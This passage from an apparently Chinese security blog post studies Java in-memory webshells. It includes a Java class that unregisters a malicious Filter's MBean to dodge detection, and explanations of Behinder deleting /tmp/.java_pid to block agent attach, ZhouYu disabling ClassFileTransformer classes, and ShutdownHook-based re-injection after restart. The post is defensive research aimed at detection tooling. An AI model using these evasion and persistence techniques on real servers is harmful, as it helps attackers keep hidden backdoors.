总结

所以javaagent技术和javassist技术结合再加上sd-jdi.jar便可以完成全部类型的内存马的检测和清除,这里指没有实现反查杀手段的内存马。

其实除了上面提到的检测技术之外还存在其他的一些检测技术如:使用Visval VM 检测 Mbean对象的情况可以检测第一种和第二种通过动态注册组件的实现的内存马,检测原理:动态注册如Filter的时候会触发registerJMX的操作来注册mbean,org.apache.catalina.core.ApplicationFilterConfig的#initFilter实现如下:

并且该种检测方式被绕过:因为Mbean注册之后是可以卸载的。

参考长亭科技之前发的文章实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 import javax.management.MBeanServer;
 import javax.management.ObjectName;
 import java.util.Set;
 public class UnRegister {
  static  {
      try{
      Class registryClass = Class.forName("org.apache.tomcat.util.modeler.Registry");
      MBeanServer mBeanServer = (MBeanServer) registryClass.getMethod("getMBeanServer").invoke( registryClass.getMethod("getRegistry", Object.class, Object.class).invoke(null,null,null));
      Set<ObjectName> objectNameSet = null;
          objectNameSet = mBeanServer.queryNames(null, null);
          for (ObjectName objectName : objectNameSet) {
              if ("Filter".equals(objectName.getKeyProperty("j2eeType"))) {
                  Object filterName = mBeanServer.getAttribute(objectName, "filterName");
                  if ("litchi".equals((String) filterName)) {
                      mBeanServer.unregisterMBean(objectName);
                  }
              }
          }
      }catch (Exception e) {
          e.printStackTrace();
      }
  }
 }

4、内存马反查杀技术:

1)、上文有提到冰蝎在使用内存马的时候有一个防检测功能:

image-20220308172628514

其客户端源码实现如下:在其net.rebeyond.behinder.ui.controller.MainController中对防检测的处理如下:

image-20220309102443442

跟进injectMemShell方法:防检测标志位作为布尔值(isAntiAgent)传入

image-20220309103016519

在上文分析冰蝎内存马实现的时候,我们选取了windows的agent样本反编译分析,在其实现的equal方法中提到了对antiAgrnt的处理:

image-20220309102142156

跟进doAgentShell方法:对防检测标志位为true的处理操作:删除了一个路径为:/tmp/.java_pid+{pid}的文件。

image-20220309103342230

那冰蝎为什么要这么做呢?并且根据冰蝎对该操作的描述(防检测可避免目标JVM进程被注入,可避免内存查杀插件注入,同时容器重启前内存马也无法再次注入),这个操作可以杜绝内存马的查杀并且保证之后agent型内存马注入不进来了。(突发奇想,那这个是不是也可以用在内存马的预防手段上呢?)

我们先来看看冰蝎为什么要做:

上文中讲到redefineClass实现的agent型的内存马的查杀的时候提到从内存中dump出来class字节码的方法有两种:

  • 1、javaagent Instrumentation配合java.tools vm实现的attach

  • 2、 sd-jdi.jar工具

其实这就是Java里面的两种Attach机制:第一种是VirtualMachine.attach(Attach到Attach Listener线程后执行有限命令);第二种是SA工具的attach

那这和冰蝎防检测干掉/tmp/.java_pid+{pid}的文件有说明关系呢?

我们深入了解下agent型内存马中实现使用的attach模式也就是上面的第一种:

VirtualMachine.attach方法的实现:

(1)信号机制

JVM启动的时候并不会马上创建Attach Listener线程,而是通过另外一个线程Signal Dispatcher在接收到信号处理请求(如jstack,jmap等)时创建临时socket文件/tmp/.java_pid并创建Attach Listener线程(external process会先发送一个SIGQUIT信号给target VM process,target VM会创建一个Attach Listener线程);

(2)Unix domain socket

Attach Listener线程会通过Unix domain socket与external process建立连接,之后就可以基于这个socket进行通信了。

创建好的Attach Listener线程会负责执行这些命令(从队列里不断取AttachOperation,然后找到请求命令对应的方法进行执行,比如jstack命令,找到 { “threaddump”, thread_dump }的映射关系,然后执行thread_dump方法)并且把结果通过.java_pid文件返回给发送者。

整个过程中,会有两个文件被创建:

.attach_pid****,external process会创建这个文件,为的是触发Attach Listener线程的创建,因为SIGQUIT信号不是只有external process才会发的,通过这个文件来告诉target VM,有attach请求过来了(如果**.attach_pid**创建好了,说明Attach Listener线程已经创建成功)。相关代码在[LinuxVirtualMachine.java](https://link.jianshu.com?t=http%3A%2F%2Fhg.openjdk.java.net%2Fjdk7u%2Fjdk7u%2Fjdk%2Ffile%2F70e3553d9d6e%2Fsrc%2Fsolaris%2Fclasses%2Fsun%2Ftools%2Fattach%2FLinuxVirtualMachine.java%23l280)中;

.java_pid****,target VM会创建这个文件,这个是因为Unix domain socket本身的实现机制需要去创建一个文件,通过这个文件来进行IPC。相关代码在[attachListener_linux.cpp](https://link.jianshu.com?t=http%3A%2F%2Fhg.openjdk.java.net%2Fjdk7u%2Fjdk7u%2Fhotspot%2Ffile%2F2cd3690f644c%2Fsrc%2Fos%2Flinux%2Fvm%2FattachListener_linux.cpp%23l172)中。

其中的都是target VM的pid。

上面是参考简书对VirtualMachine.attach的一些分析;

说直白点说就是使用VirtualMachine.attach时,jvm线程之间的通信管道的建立要用到.java_pid****这个文件,如果这个文件被干掉了,就阻止和JVM进程通信,从而禁止了Agent的加载。Agent无法注入,上文提到利用改技术实现的检测内存马也就无法实现了,从而实现了反查杀。

2)、究极大佬三梦师傅写过一个叫”ZhouYu“的内存马项目

这个名字起的还是比较有寓意的,我是这么理解的:提到周瑜,自然就想到赤壁之战中的”火“烧连环船,还有就是当下比较火的王者荣耀这款游戏,里面有一个英雄叫周瑜,其技能都是围绕”火”展开的,这两点都让我自然而然的象到“火”这个字,正所谓野火吹不尽,春风吹又生是吧,说明比较顽强,能够死灰复燃,哈哈哈!以上纯属我的遐想:

该项目中实现的内存马做了一些反查杀的技术实现:通过对加载类的限制,pass掉实现ClassFileTransformer接口的类,从而禁止javaagent的加载,从而阻拦利用javaagent技术实现的内存马检测手段:

image-20220309160504147

image-20220309160614809

但是其实是存在一个时间差问题,potats0师傅在他的文章<基于javaAgent内存马检测查杀指南>里面提到了这一点,原文:

该类内存马的特征在于阻止后续javaagent加载的方式,防止webshell被查杀。我们来看一下代码,在这里其实不影响随后javaagent加载的。原因在于,javaagent修改类的字节码的关键在于用户需要编写继承自java.lang.instrument.ClassFileTransformer,去完成修改字节码的工作。而周瑜内存马的方法在于,如果发现某个类继承自ClassFileTransformer,则将其字节码修改为空。但是在这里并不会影响JVM加载一个新的javaagent。周瑜内存马该功能只会破坏 rasp的正常工作。周瑜内存马正常通过javaagent加载并查杀即可,不会受到任何影响的。或者,我们也可以通过redefineClass的方法去修改类的字节码。

之前我也太理解potats0师傅想表达的意思,后来我仔细的推敲了下:

查阅了下Instrumentation这个类的官方文档:其中getAllLoadedClasses()方法的描述如下:

image-20220309161803729

这个方法是获取所有已经被JVM加载的类的字节码,那么这里面就存在一个时间差问题,新加载的继承了ClassFileTransformer的类,当他首次使用的时候其实他是可以完成其javaagent的加载的,因为此时他并不存在于“已经被JVM的加载的类”这个范畴里面,所以可以成功加载,但是之后可能会被干掉;所以potats0师傅也提到了,周瑜马这种防查杀的实现会干扰之前存在的rasp的正常工作,因为rasp里面通过javaagent加载进去的类肯定已经属于前面那个范畴了。

这里后续还要实践一波。

5、内存马复活技术

上文曾提到:内存马的最大的弱点因为其存在于内存中,所以重启之后就没了;虽然一般来说服务器不会重启,尤其是在业务中的服务器,但是兔子急了也会咬人呀,重启下可以彻底清除,那也比发现了一个后门处理不了好;

接下来学习下内存马的“持久化技术”,也就是复活技术:

“死肯定是死了,死没死彻底谁知道呢”

”置之死地而后生“

rebeyond师傅在memshell项目中其实就已经提到了内存马的复活技术:

通过设置Java虚拟机的关闭钩子ShutdownHook来达到内存马复活:ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,JVM会在以下场景调用这个钩子:

  • 1.程序正常退出

  • 2.使用System.exit()退出

  • 3.用户使用Ctrl+C触发的中断导致的退出

  • 4.用户注销或者系统关机

  • 5.OutofMemory导致的退出

  • 6.Kill pid命令导致的退出所以ShutdownHook可以很好的保证在tomcat关闭时

其源码实现如下:

在agent类里面最后调用了persist方法

image-20220309164012271

在persist方法中为ShutdownHook添加触发的线程:该线程将内存中的agent.jar 、inject.jar还原到文件中去(冰蝎agent内存马注入之后,其inject.jar和agent.jar为了隐蔽都会被干掉,但是其实读到内存里面了);

image-20220309164134108

并且在其startInject()方法中调用Runtime.getRuntime.exec来运行 重加载javaagent,从而达到持久化和复活的目的

image-20220309164922299

其他复活技术Studying中…….

四、思考和提升

​ 通过体系化的学习java内存马技术,首先感受就是java内存马技术还是比较值得学习和研究一波的,里面涉及到的javaagent技术javassist技术,以及相关javaweb的知识技术都是非常经典的。

就java内存马实现来说,里面涵盖的知识太多了,光是一个Tomcat下的StandardContext对象的获取就可以展开大量的源码研究,以及针对不同框架Weblogic下的动态注册组件的实现等等,都可以展开很多深层面的研究。配合当前主流的weblogic、shrio、fastjson等存在的反序列化导致的任意代码执行的漏洞,可以实现一系化的自动内存马注入工具,用于实战中,本文的开头也有提到,我为什么会展开对内存马的研究,其实就是因为在做数据分析的时候发现了SummerSec师傅写的shrio反序列化集成一键注入内存马的工具;

​ 同样目前虽然内存马的查杀技术也较为成熟了,但是我这边没有在网上找到“很全”的内存马查杀工具的实现,大多测试demo,用于做技术研究的,只能检测到部分内存马。后期的话想尝试写一个能用于实际化场景的通用内存马检测和查杀工具,这个工具可以用来应急处置场景。

​ 上面提到的都是中招之后的检测和查杀,另一方面,其实预防同样很重要,能够切断内存马注入的途径,先发制敌才是最牛p的;其实在冰蝎内存马的防检测技术那块有提到,后续准备研究研究。

​ 总的来说收获颇丰!!!!!!

​ 文中有错误之处还请各位师傅斧正。